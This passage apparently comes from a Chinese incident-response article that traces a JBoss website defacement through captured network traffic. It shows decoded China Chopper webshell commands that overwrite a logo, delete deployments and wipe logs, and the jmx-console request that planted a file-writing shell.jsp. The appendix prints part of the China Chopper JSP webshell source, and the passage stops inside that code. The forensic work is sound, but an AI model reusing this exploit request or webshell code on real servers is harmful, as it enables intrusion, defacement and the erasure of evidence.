12px;">删除/usr/local/jboss/server/default/./deploy/management/console-mgr.sar/web-console.war/images/logo.gif</span></td></tr><tr style="height: 75px;"><td colspan="1" rowspan="1" style="height: 75px;word-break: break-all;"><span style="font-size: 12px;">a=G&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2Fconsole-mgr.sar%2Fweb-console.war%2Fimages%2Flogo.gif&amp;z2=474946383961E8036900F7000000...</span></td><td colspan="1" rowspan="1" style="word-break: break-all;"><span style="font-size: 12px;">将16进制写入/usr/lo</span><span style="font-size: 12px;">cal/jboss/server/default/./deploy</span><span style="font-size: 12px;">/management/console-mgr.sar/web-console.war/images/log</span><span style="font-size: 12px;">o.gif</span></td></tr><tr style="height:37px;" height="37"><td style="" width="496" height="37"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fjmx-console.war</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/./deploy/jmx-console.war</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fjboss-web.deployer%2FROOT.war</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/./deploy/jboss-web.deployer/ROOT.war</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2Fjbossjdk.war</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/./deploy/management/jbossjdk.war</span></td></tr><tr style="height:37px;" height="37"><td style="" width="496" height="37"><span style="font-size: 12px;">a=C&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log</span></td><td style="" width="187"><span style="font-size: 12px;">读取/usr/local/jboss/server/default/log/server.log</span></td></tr><tr style="height:37px;" height="37"><td style="" width="496" height="37"><span style="font-size: 12px;">a=C&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log</span></td><td style="" width="187"><span style="font-size: 12px;">读取/usr/local/jboss/server/default/log/server.log</span></td></tr><tr style="height:37px;" height="37"><td style="" width="496" height="37"><span style="font-size: 12px;">a=D&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log&amp;z2=122</span></td><td style="" width="187"><span style="font-size: 12px;">将“122”写入/usr/local/jboss/server/default/log/server.log</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log.2021-06-20</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/log/server.log.2021-06-20</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log.2021-06-21</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/log/server.log.2021-06-21</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log.2021-06-22</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/log/server.log.2021-06-22</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log.2021-06-23</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/log/server.log.2021-06-23</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log.2021-06-24</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/log/server.log.2021-06-24</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log.2021-06-25</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/log/server.log.2021-06-25</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log.2021-06-26</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/log/server.log.2021-06-26</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log.2021-06-27</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/log/server.log.2021-06-27</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2Flog%2Fserver.log.2021-06-28</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/log/server.log.2021-06-28</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fwork%2Fjboss.web%2Flocalhost%2Fjbossjdk</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/./work/jboss.web/localhost/jbossjdk</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fwork%2Fjboss.web%2Flocalhost%2F_</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/./work/jboss.web/localhost/_</span></td></tr><tr style="height:56px;" height="56"><td style="" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fwork%2Fjboss.web%2Flocalhost%2FAugust</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/./work/jboss.web/localhost/August</span></td></tr><tr style="height:37px;" height="37"><td style="" width="496" height="37"><span style="font-size: 12px;">a=C&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Flog%2Fserver.log</span></td><td style="" width="187"><span style="font-size: 12px;">读取/usr/local/jboss/server/default/./log/server.log</span></td></tr><tr style="height:37px;" height="37"><td style="word-break: break-all;" width="496" height="37"><span style="font-size: 12px;">a=D&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Flog%2Fserver.log&amp;z2=12</span></td><td style="" width="187"><span style="font-size: 12px;">将“12”写入/usr/local/jboss/server/default/./log/server.log</span></td></tr><tr style="height:56px;" height="56"><td style="word-break: break-all;" width="496" height="56"><span style="font-size: 12px;">a=E&amp;z0=GB2312&amp;z1=%2Fusr%2Flocal%2Fjboss%2Fserver%2Fdefault%2F.%2Fdeploy%2Fmanagement%2FAugust.war</span></td><td style="" width="187"><span style="font-size: 12px;">删除/usr/local/jboss/server/default/./deploy/management/August.war</span></td></tr></tbody></table><p style="text-indent: 2em;"><span style="font-size: 14px;">看到到这里大家应该会知道有一个August.war存在过，然后shell.jsp在August目录下，那shell.jsp应该在这个war里面。那shell.jsp的内容是什么？</span></p><p style="text-indent: 2em;"><span style="font-size: 14px;">根据前面写August.jsp的请求包可以推测其功能就是写文件。我们也可以从流量中将其内容找出来。<br/>wireshark中检索 http contains &#34;August.war&#34;，查看第一条。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.43017329255861364" data-s="300,640" style="" data-type="png" data-w="1962" src="https://wechat2rss.xlab.app/img-proxy/?k=fc0caa59&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7g1nRYgOgNjOWWrRTafmPyylLv1icMMzIxPfSxZibANTibBealvQvTlqWA%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">URL解码后：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">/jmx-console//HtmlAdaptor?action=invokeOpByName&amp;name=jboss.admin:service=DeploymentFileRepository&amp;methodName=store&amp;argType=java.lang.String&amp;arg0=August.war&amp;argType=java.lang.String&amp;&amp;arg1=shell&amp;argType=java.lang.String&amp;arg2=.jsp&amp;argType=java.lang.String&amp;arg3=&lt;%+<span class="code-snippet__keyword">if</span>(request.getParameter(<span class="code-snippet__string">&#34;f&#34;</span>)!=null)(new+java.io.FileOutputStream(application.getRealPath(<span class="code-snippet__string">&#34;/&#34;</span>)+request.getParameter(<span class="code-snippet__string">&#34;f&#34;</span>))).write(request.getParameter(<span class="code-snippet__string">&#34;t&#34;</span>).getBytes());+%&gt;&amp;argType=boolean&amp;arg4=True</span></code></pre></section><p style="text-indent: 2em;"><span style="font-size: 14px;">根据该url，Google查一下就知道攻击者这是利用的什么漏洞，其中arg3就是shell.jsp的内容。<br/></span></p><p style="text-indent: 2em;"><span style="font-size: 14px;">至此，整个攻击的来龙去脉都理得清清楚楚，从什么漏洞进去，如何替换图片，然后删除webshell清除日志……</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.3652670199755402" data-s="300,640" style="" data-type="png" data-w="2453" src="https://wechat2rss.xlab.app/img-proxy/?k=463274d4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7MDpMbWOL89ORA4C1rvBTqFJ1BKib5FqUjCDia5tOGO4bV8yZxELooNgw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><section><span style="font-size: 14px;"></span></section><section style="white-space: normal;text-indent: 2em;"><br/></section><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__23" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-darkmode-color-16250360634552="rgb(254, 254, 254)" data-darkmode-original-color-16250360634552="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 18px;"><span style="color:#595959;"><strong>还原被篡改的文件</strong></span></p></section></section></section><p style="text-indent: 2em;"><span style="text-indent: 34px;"></span></p><p style="text-indent: 2em;"><br/></p><p style="text-indent: 2em;"><span style="text-indent: 34px;font-size: 14px;">被篡改的源文件已被删除，可从流量中还原。根据之前分析的菜刀参数，查找的流量包可检索<span class="code-snippet__string" style="white-space:pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;text-align: left;background-color: rgba(0, 0, 0, 0.03);">http contains &#34;a=F&#34; and http contains &#34;logo.gif&#34;</span>到下载图片的数据包。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.49691358024691357" data-s="300,640" style="" data-type="png" data-w="1944" src="https://wechat2rss.xlab.app/img-proxy/?k=784b219d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7npMNfgZjq8kfH7IUd8v8Ox45s2fvtLUcjbroWH00BYxPDRiasC24Cfw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent: 2em;"><span style="font-size: 14px;">进一步检索<span class="code-snippet__attribute" style="font-size: 14px;white-space: pre-wrap;font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;text-align: left;background-color: rgba(0, 0, 0, 0.03);">http contains &#34;-&gt;|GIF89a&#34; and http.response</span>，复制-&gt; as a Hex Stream。</span><br/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7213759213759213" data-s="300,640" style="" data-type="png" data-w="2035" src="https://wechat2rss.xlab.app/img-proxy/?k=3046f411&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7QUKWG3mT4CYCIAAVnSsHMBqbCVzicUtOY3YncvkFuzXK4YicMk41CicCw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;text-indent: 2em;"><span style="font-size: 14px;">然后你可以将其粘贴到UE或者winHex等16进制编辑器。这里介绍另一种方法，粘贴到txt，删除2d3e7c(-&gt;|)及以前的内容和7c3c2d(|&lt;-)及之后的内容。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.47115384615384615" data-s="300,640" style="" data-type="png" data-w="1560" src="https://wechat2rss.xlab.app/img-proxy/?k=2bae6247&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7dt4zicO26XZu1C0icycd2WOgyFUUTU0l12zzeeqD3AuJdXYRC0owbS4g%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-align: left;text-indent: 0em;"><span style="font-size: 14px;">使用如下代码转换成二进制文件：</span><br/></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sys</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">if</span> len(sys.argv)==<span class="code-snippet__number">2</span>:</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">try</span>:</span></code><code><span class="code-snippet_outer">        f=open(sys.argv[<span class="code-snippet__number">1</span>],<span class="code-snippet__string">&#39;r&#39;</span>)</span></code><code><span class="code-snippet_outer">        hexString=f.read()</span></code><code><span class="code-snippet_outer">        f.close()</span></code><code><span class="code-snippet_outer">        b=bytes.fromhex(hexString)</span></code><code><span class="code-snippet_outer">        nf=open(<span class="code-snippet__string">&#39;newfile&#39;</span>,<span class="code-snippet__string">&#39;wb&#39;</span>)</span></code><code><span class="code-snippet_outer">        nf.write(b)</span></code><code><span class="code-snippet_outer">        nf.close()</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">except</span> Exception <span class="code-snippet__keyword">as</span> e:</span></code><code><span class="code-snippet_outer">        print(e)</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">else</span>:</span></code><code><span class="code-snippet_outer">    print(<span class="code-snippet__string">&#39;need a path of text file!&#39;</span>)</span></code></pre></section><section style="text-indent: 0em;"><span style="font-size: 14px;">使用pyinsyaller打包成exe就更方便了，将txt拖到exe上面即可转换生成二进制文件。</span><br/></section><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4873096446700508" data-s="300,640" style="" data-type="png" data-w="788" src="https://wechat2rss.xlab.app/img-proxy/?k=0c9b0753&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7icWgActsdnGqTY0rcju4dZOERAic0AxbqSjdIaCp8LsBH1rZx65IxA6w%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.08091468777484609" data-s="300,640" style="" data-type="png" data-w="1137" src="https://wechat2rss.xlab.app/img-proxy/?k=f4aafe53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHic9q3s4FrPZvAjkmd7DMyic7E0kWmtNfFhpevrJyPUGgTdR5Kx2QrvfU8qAfe1459LqxYNG042c2tA%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;"><br/></section><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__23" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);text-size-adjust: auto;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-darkmode-color-16250360634552="rgb(254, 254, 254)" data-darkmode-original-color-16250360634552="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-darkmode-color-16250360634552="rgb(254, 254, 254)" data-darkmode-original-color-16250360634552="#fff|rgb(254, 254, 254)" style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250360634552="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250360634552="#fff|rgb(255, 255, 255)" data-darkmode-color-16250360634552="rgb(141, 141, 141)" data-darkmode-original-color-16250360634552="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__24" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);box-sizing: border-box !important;overflow-wrap: break-word !important;">附录：菜刀马解析备注</span></strong></p></section></section></section><section style="text-indent: 2em;"><br/></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer">&lt;%@page import=<span class="code-snippet__string">&#34;java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*&#34;</span>%&gt;</span></code><code><span class="code-snippet_outer">&lt;%!</span></code><code><span class="code-snippet_outer">  String Pwd = <span class="code-snippet__string">&#34;a&#34;</span>;</span></code><code><span class="code-snippet_outer">  String cs = <span class="code-snippet__string">&#34;UTF-8&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function">String <span class="code-snippet__title">EC</span>(<span class="code-snippet__params">String s</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> String(s.getBytes(<span class="code-snippet__string">&#34;ISO-8859-1&#34;</span>),cs);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function">Connection <span class="code-snippet__title">GC</span>(<span class="code-snippet__params">String s</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    String[] x = s.trim().split(<span class="code-snippet__string">&#34;\r\n&#34;</span>);</span></code><code><span class="code-snippet_outer">    Class.forName(x[<span class="code-snippet__number">0</span>].trim());</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span>(x[<span class="code-snippet__number">1</span>].indexOf(<span class="code-snippet__string">&#34;jdbc:oracle&#34;</span>)!=<span class="code-snippet__number">-1</span>){</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span> DriverManager.getConnection(x[<span class="code-snippet__number">1</span>].trim()+<span class="code-snippet__string">&#34;:&#34;</span>+x[<span class="code-snippet__number">4</span>],x[<span class="code-snippet__number">2</span>].equalsIgnoreCase(<span class="code-snippet__string">&#34;[/null]&#34;</span>)?<span class="code-snippet__string">&#34;&#34;</span>:x[<span class="code-snippet__number">2</span>],x[<span class="code-snippet__number">3</span>].equalsIgnoreCase(<span class="code-snippet__string">&#34;[/null]&#34;</span>)?<span class="code-snippet__string">&#34;&#34;</span>:x[<span class="code-snippet__number">3</span>]);</span></code><code><span class="code-snippet_outer">    }<span class="code-snippet__keyword">else</span>{</span></code><code><span class="code-snippet_outer">      Connection c = DriverManager.getConnection(x[<span class="code-snippet__number">1</span>].trim(),x[<span class="code-snippet__number">2</span>].equalsIgnoreCase(<span class="code-snippet__string">&#34;[/null]&#34;</span>)?<span class="code-snippet__string">&#34;&#34;</span>:x[<span class="code-snippet__number">2</span>],x[<span class="code-snippet__number">3</span>].equalsIgnoreCase(<span class="code-snippet__string">&#34;[/null]&#34;</span>)?<span class="code-snippet__string">&#34;&#34;</span>:x[<span class="code-snippet__number">3</span>]);</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> (x.length &gt; <span class="code-snippet__number">4</span>) {</span></code><code><span class="code-snippet_outer">        c.setCatalog(x[<span class="code-snippet__number">4</span>]);</span></code><code><span class="code-snippet_outer">      }</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">return</span> c;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//列出根目录</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">AA</span>(<span class="code-snippet__params">StringBuffer sb</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    File r[] = File.listRoots();</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; r.length; i++) {</span></code><code><span class="code-snippet_outer">      sb.append(r[i].toString().substring(<span class="code-snippet__number">0</span>, <span class="code-snippet__number">2</span>));</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">//列出指定目录文件</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">BB</span>(<span class="code-snippet__params">String s, StringBuffer sb</span>) throws Exception</span> {</span></code><code><span class="code-snippet_outer">    File oF = <span class="code-snippet__keyword">new</span> File(s), l[] = oF.listFiles();</span></code><code><span class="code-snippet_outer">    String sT, sQ, sF = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">    java.util.Date dt;</span></code><code><span class="code-snippet_outer">    SimpleDateFormat fm = <span class="code-snippet__keyword">new</span> SimpleDateFormat(<span class="code-snippet__string">&#34;yyyy-MM-dd HH:mm:ss&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> i = <span class="code-snippet__number">0</span>; i &lt; l.length; i++) {</span></code><code><span class="code-snippet_outer">      dt = <span class="code-snippet__keyword">new</span> java.util.Date(l[i].lastModified());</span></code><code><span class="code-snippet_outer">      sT = fm.format(dt);</span></code><code><span class="code-snippet_outer">      sQ = l[i].canRead() ? <span class="code-snippet__string">&#34;R&#34;</span> : <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">      sQ += l[i].canWrite() ? <span class="code-snippet__string">&#34; W&#34;</span> : <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">      <span class="code-snippet__keyword">if</span> (l[i].isDirectory()) {</span></code><code><span class="code-snippet_outer">        sb.append(l[i].getName() + <span class="code-snippet__string">&#34;/\t&#34;</span> + sT 